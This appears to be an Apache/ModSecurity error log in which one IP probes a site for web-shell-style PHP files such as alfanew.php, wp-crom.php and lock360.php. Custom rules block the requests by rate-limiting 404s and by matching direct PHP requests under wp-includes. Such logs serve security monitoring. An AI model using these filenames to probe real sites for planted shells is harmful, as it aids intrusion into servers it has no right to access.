[Thu Nov 20 19:46:56.940083 2025] [:error] [pid 40445:tid 40490] [client 20.58.138.186:56298] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/click.php"] [unique_id "aR7_sFH-MuFcoWRjXpZrDwAAAk8"]
[Thu Nov 20 19:46:59.238889 2025] [:error] [pid 55430:tid 55437] [client 20.58.138.186:39873] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/click.php"] [unique_id "aR7_s_PZXaIMEU4pE7sLFgAAAMQ"]
[Thu Nov 20 19:47:01.895692 2025] [:error] [pid 40508:tid 40514] [client 20.58.138.186:4643] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/click.php"] [unique_id "aR7_taxXNVCMW_ksxPu-0gAAAoQ"]
[Thu Nov 20 19:47:02.908943 2025] [:error] [pid 55342:tid 55396] [client 20.58.138.186:62234] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/install.php"] [unique_id "aR7_trg6x32Tvk7fIG_qPwAAAFg"]
[Thu Nov 20 19:47:04.487760 2025] [:error] [pid 40415:tid 40421] [client 20.58.138.186:4658] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/install.php"] [unique_id "aR7_uKhjIyLSv09svwO14wAAAcM"]
[Thu Nov 20 19:47:05.601336 2025] [:error] [pid 40636:tid 40643] [client 20.58.138.186:64425] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/install.php"] [unique_id "aR7_uQK8BWUoW3xq0HAYOQAAA4M"]
[Thu Nov 20 19:47:06.396184 2025] [:error] [pid 55342:tid 55379] [client 20.58.138.186:4645] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/install.php"] [unique_id "aR7_urg6x32Tvk7fIG_qRQAAAEc"]
[Thu Nov 20 19:47:10.425700 2025] [:error] [pid 55430:tid 55434] [client 20.58.138.186:56256] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/10.php"] [unique_id "aR7_vvPZXaIMEU4pE7sLPQAAAME"]
[Thu Nov 20 19:47:11.261854 2025] [:error] [pid 55340:tid 55356] [client 20.58.138.186:4781] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/10.php"] [unique_id "aR7_v_OxD-NeMydTybCpYgAAAAs"]
[Thu Nov 20 19:47:39.299723 2025] [:error] [pid 55430:tid 55436] [client 20.58.138.186:4747] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/goat1.php"] [unique_id "aR7_2_PZXaIMEU4pE7sLVAAAAMM"]
[Thu Nov 20 19:47:39.938037 2025] [:error] [pid 55343:tid 55405] [client 20.58.138.186:56297] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/goat1.php"] [unique_id "aR7_21WlO3EnyVMV7w68ewAAAIY"]
[Thu Nov 20 19:47:40.393357 2025] [:error] [pid 40537:tid 40565] [client 20.58.138.186:4774] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/goat1.php"] [unique_id "aR7_3KKlsL5kxTa3c1ztwQAAAtg"]
[Thu Nov 20 19:47:57.986515 2025] [:error] [pid 55343:tid 55403] [client 20.58.138.186:4375] File does not exist: /usr/local/apache/htdocs/suspended-page/yu.php
[Thu Nov 20 19:47:58.051235 2025] [:error] [pid 55343:tid 55416] [client 20.58.138.186:4375] File does not exist: /usr/local/apache/htdocs/suspended-page/124.php
[Thu Nov 20 19:47:58.100782 2025] [:error] [pid 55343:tid 55417] [client 20.58.138.186:4375] File does not exist: /usr/local/apache/htdocs/suspended-page/q.php
[Thu Nov 20 19:47:58.120948 2025] [:error] [pid 55343:tid 55420] [client 20.58.138.186:4375] File does not exist: /usr/local/apache/htdocs/suspended-page/123.php
[Thu Nov 20 19:47:58.170709 2025] [:error] [pid 55343:tid 55404] [client 20.58.138.186:4375] File does not exist: /usr/local/apache/htdocs/suspended-page/aa.php
[Thu Nov 20 19:47:58.212568 2025] [:error] [pid 55343:tid 55405] [client 20.58.138.186:4375] File does not exist: /usr/local/apache/htdocs/suspended-page/3.php
[Thu Nov 20 19:47:58.320319 2025] [:error] [pid 55343:tid 55400] [client 20.58.138.186:4375] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/uploads/images/autoload_classmap.php"] [unique_id "aR7_7lWlO3EnyVMV7w68qgAAAIE"]
[Thu Nov 20 19:47:59.177602 2025] [:error] [pid 34405:tid 34420] [client 20.58.138.186:54894] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/uploads/images/autoload_classmap.php"] [unique_id "aR7_7zFpvu8oRK7ATfsmOgAAAQ0"]
[Thu Nov 20 19:48:01.325466 2025] [:error] [pid 34405:tid 34408] [client 20.58.138.186:54865] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/uploads/images/autoload_classmap.php"] [unique_id "aR7_8TFpvu8oRK7ATfsmPAAAAQE"]
[Thu Nov 20 19:48:04.455917 2025] [:error] [pid 55342:tid 55383] [client 20.58.138.186:59831] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/uploads/images/autoload_classmap.php"] [unique_id "aR7_9Lg6x32Tvk7fIG_qjQAAAEs"]
[Thu Nov 20 19:48:08.008707 2025] [:error] [pid 55430:tid 55441] [client 20.58.138.186:54863] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sk.php"] [unique_id "aR7_-PPZXaIMEU4pE7sLeQAAAMg"]
[Thu Nov 20 19:48:24.978575 2025] [:error] [pid 55340:tid 55356] [client 20.58.138.186:4751] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-crom.php"] [unique_id "aR8ACPOxD-NeMydTybCpywAAAAs"]
[Thu Nov 20 19:48:26.180639 2025] [:error] [pid 40508:tid 40514] [client 20.58.138.186:4407] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-crom.php"] [unique_id "aR8ACqxXNVCMW_ksxPu_TwAAAoQ"]
[Thu Nov 20 19:48:26.705008 2025] [:error] [pid 55340:tid 55362] [client 20.58.138.186:56334] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-crom.php"] [unique_id "aR8ACvOxD-NeMydTybCp0QAAABE"]
[Thu Nov 20 19:48:33.170065 2025] [:error] [pid 55430:tid 55449] [client 20.58.138.186:61498] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-crom.php"] [unique_id "aR8AEfPZXaIMEU4pE7sLmQAAANA"]
[Thu Nov 20 19:48:34.844832 2025] [:error] [pid 40636:tid 40654] [client 20.58.138.186:56373] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/max.php"] [unique_id "aR8AEgK8BWUoW3xq0HAYjgAAA44"]
[Thu Nov 20 19:48:35.475867 2025] [:error] [pid 55430:tid 55435] [client 20.58.138.186:56357] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/max.php"] [unique_id "aR8AE_PZXaIMEU4pE7sLmwAAAMI"]
[Thu Nov 20 19:48:37.638565 2025] [:error] [pid 40445:tid 40495] [client 20.58.138.186:64397] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/max.php"] [unique_id "aR8AFVH-MuFcoWRjXpZrpAAAAlQ"]
[Thu Nov 20 19:48:39.241720 2025] [:error] [pid 40445:tid 40479] [client 20.58.138.186:59806] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/max.php"] [unique_id "aR8AF1H-MuFcoWRjXpZrrAAAAkQ"]
[Thu Nov 20 19:48:39.906811 2025] [:error] [pid 40508:tid 40519] [client 20.58.138.186:61454] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/about.php"] [unique_id "aR8AF6xXNVCMW_ksxPu_dAAAAok"]
[Thu Nov 20 19:48:41.079960 2025] [:error] [pid 55430:tid 55453] [client 20.58.138.186:56370] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/about.php"] [unique_id "aR8AGfPZXaIMEU4pE7sLowAAANQ"]
[Thu Nov 20 19:48:44.543788 2025] [:error] [pid 40445:tid 40479] [client 20.58.138.186:4675] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/about.php"] [unique_id "aR8AHFH-MuFcoWRjXpZr3wAAAkQ"]
[Thu Nov 20 19:48:48.227927 2025] [:error] [pid 55430:tid 55455] [client 20.58.138.186:53049] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/about.php"] [unique_id "aR8AIPPZXaIMEU4pE7sLtQAAANY"]
[Thu Nov 20 19:48:52.007475 2025] [:error] [pid 34405:tid 34408] [client 20.58.138.186:4541] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1100.php"] [unique_id "aR8AJDFpvu8oRK7ATfsmgAAAAQE"]
[Thu Nov 20 19:48:56.433666 2025] [:error] [pid 55342:tid 55375] [client 20.58.138.186:60775] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1100.php"] [unique_id "aR8AKLg6x32Tvk7fIG_q4gAAAEM"]
[Thu Nov 20 19:48:57.092617 2025] [:error] [pid 40636:tid 40650] [client 20.58.138.186:61208] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1100.php"] [unique_id "aR8AKQK8BWUoW3xq0HAYqQAAA4o"]
[Thu Nov 20 19:49:00.243806 2025] [:error] [pid 55342:tid 55392] [client 20.58.138.186:54922] File does not exist: /usr/local/apache/htdocs/suspended-page/1100.php
[Thu Nov 20 19:49:00.315929 2025] [:error] [pid 55342:tid 55391] [client 20.58.138.186:54922] File does not exist: /usr/local/apache/htdocs/suspended-page/lock360.php
[Thu Nov 20 19:49:00.422142 2025] [:error] [pid 55342:tid 55390] [client 20.58.138.186:54922] File does not exist: /usr/local/apache/htdocs/suspended-page/up.php
[Thu Nov 20 19:49:00.443098 2025] [:error] [pid 55342:tid 55396] [client 20.58.138.186:54922] File does not exist: /usr/local/apache/htdocs/suspended-page/sim.php
[Thu Nov 20 19:49:00.475997 2025] [:error] [pid 55342:tid 55373] [client 20.58.138.186:54922] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi-o.php
[Thu Nov 20 19:49:00.634805 2025] [:error] [pid 55342:tid 55388] [client 20.58.138.186:54922] File does not exist: /usr/local/apache/htdocs/suspended-page/oo.php
[Thu Nov 20 19:49:00.818229 2025] [:error] [pid 55342:tid 55379] [client 20.58.138.186:54922] File does not exist: /usr/local/apache/htdocs/suspended-page/alfanew.php
[Thu Nov 20 19:49:00.834472 2025] [:error] [pid 55342:tid 55383] [client 20.58.138.186:54922] [client 20.58.138.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/codemirror/about.php"] [unique_id "aR8ALLg6x32Tvk7fIG_q8QAAAEs"]
[Thu Nov 20 19:49:01.724396 2025] [:error] [pid 55342:tid 55389] [client 20.58.138.186:61224] File does not exist: /usr/local/apache/htdocs/suspended-page/ll.php
[Thu Nov 20 19:49:01.740684 2025] [:error] [pid 55342:tid 55385] [client 20.58.138.186:61224] [client 20.58.138.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aR8ALbg6x32Tvk7fIG_q9AAAAE0"]
[Thu Nov 20 19:49:07.852925 2025] [:error] [pid 55430:tid 55437] [client 20.58.138.186:64910] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ee.php"] [unique_id "aR8AM_PZXaIMEU4pE7sL3gAAAMQ"]
[Thu Nov 20 19:49:08.631024 2025] [:error] [pid 40636:tid 40651] [client 20.58.138.186:64933] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ee.php"] [unique_id "aR8ANAK8BWUoW3xq0HAYrwAAA4s"]
[Thu Nov 20 19:49:11.704417 2025] [:error] [pid 55343:tid 55405] [client 20.58.138.186:58398] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ee.php"] [unique_id "aR8AN1WlO3EnyVMV7w686AAAAIY"]
[Thu Nov 20 19:49:17.617071 2025] [:error] [pid 40415:tid 40424] [client 20.58.138.186:4113] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/product.php"] [unique_id "aR8APahjIyLSv09svwO2xQAAAcY"]
[Thu Nov 20 19:49:19.300080 2025] [:error] [pid 40445:tid 40485] [client 20.58.138.186:62191] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/product.php"] [unique_id "aR8AP1H-MuFcoWRjXpZscQAAAko"]
[Thu Nov 20 19:49:27.350783 2025] [:error] [pid 40508:tid 40532] [client 20.58.138.186:64949] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/product.php"] [unique_id "aR8AR6xXNVCMW_ksxPvACQAAApY"]
[Thu Nov 20 19:49:30.152395 2025] [:error] [pid 55343:tid 55405] [client 20.58.138.186:43295] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/product.php"] [unique_id "aR8ASlWlO3EnyVMV7w69CQAAAIY"]
[Thu Nov 20 19:49:33.214080 2025] [:error] [pid 40537:tid 40543] [client 20.58.138.186:62199] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wi.php"] [unique_id "aR8ATaKlsL5kxTa3c1zuUAAAAsI"]
[Thu Nov 20 19:49:33.695393 2025] [:error] [pid 55342:tid 55392] [client 20.58.138.186:62193] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wi.php"] [unique_id "aR8ATbg6x32Tvk7fIG_rHAAAAFQ"]
[Thu Nov 20 19:49:35.027943 2025] [:error] [pid 40508:tid 40523] [client 20.58.138.186:62202] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wi.php"] [unique_id "aR8AT6xXNVCMW_ksxPvAEQAAAo0"]
[Thu Nov 20 19:49:39.178044 2025] [:error] [pid 55430:tid 55443] [client 20.58.138.186:4096] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wi.php"] [unique_id "aR8AU_PZXaIMEU4pE7sMCQAAAMo"]
[Thu Nov 20 19:49:41.974093 2025] [:error] [pid 40508:tid 40526] [client 20.58.138.186:4096] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mms.php"] [unique_id "aR8AVaxXNVCMW_ksxPvAHQAAApA"]
[Thu Nov 20 19:50:27.831256 2025] [:error] [pid 34405:tid 34430] [client 20.58.138.186:4271] [client 20.58.138.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aR8AgzFpvu8oRK7ATfsm8QAAARc"]
[Thu Nov 20 19:50:28.879237 2025] [:error] [pid 55430:tid 55454] [client 20.58.138.186:60840] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/v4.php"] [unique_id "aR8AhPPZXaIMEU4pE7sMSwAAANU"]
[Thu Nov 20 19:50:32.011804 2025] [:error] [pid 55340:tid 55357] [client 20.58.138.186:4260] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/v4.php"] [unique_id "aR8AiPOxD-NeMydTybCqUgAAAAw"]
[Thu Nov 20 19:50:36.796967 2025] [:error] [pid 55342:tid 55383] [client 20.58.138.186:60817] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/v4.php"] [unique_id "aR8AjLg6x32Tvk7fIG_reQAAAEs"]
[Thu Nov 20 19:50:38.220215 2025] [:error] [pid 40415:tid 40435] [client 20.58.138.186:60846] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/v4.php"] [unique_id "aR8AjqhjIyLSv09svwO3NAAAAdE"]
